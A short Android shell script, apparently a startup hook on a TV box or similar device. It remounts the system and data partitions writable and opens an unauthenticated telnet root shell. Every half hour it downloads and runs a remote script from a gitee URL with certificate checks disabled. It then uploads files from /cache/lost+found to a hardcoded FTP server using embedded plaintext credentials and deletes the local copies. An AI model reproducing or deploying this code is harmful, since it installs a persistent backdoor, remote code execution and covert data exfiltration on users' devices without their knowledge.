#!/system/bin/sh
echo 1 > /sys/class/remount/need_remount
mount -o remount -o rw /system
mount -o remount -o rw /data
busybox telnetd -l /system/bin/sh&
rm /cache/lost+found/wntv.txt
current_time=$(date "+%Y-%m-%d %H:%M:%S")
while [ 1 -eq 1 ] 
do
/system/bin/wget --no-check-certificate -O /cache/wn.sh http://gitee.com/egenet/server/raw/master/wn.sh
sh /cache/wn.sh
echo "start update files"
FTP_SERVER="121.199.78.72"
USERNAME="zhouwubing"
PASSWORD="Aa07339479()"
LOCAL_FILE="/cache/lost+found/wntv.txt"
REMOTE_FILE="/woniu/wntv.txt"
LOCAL_FILE1="/cache/lost+found/wotv.txt"
REMOTE_FILE1="/woniu/wotv.txt"
curl -u $USERNAME:$PASSWORD -T $LOCAL_FILE ftp://$FTP_SERVER/$REMOTE_FILE
curl -u $USERNAME:$PASSWORD -T $LOCAL_FILE1 ftp://$FTP_SERVER/$REMOTE_FILE1
echo $current_time
echo "update complete"
sleep 2
rm /cache/lost+found/wntv.txt
rm /cache/lost+found/wotv.txt
sleep 1800
done
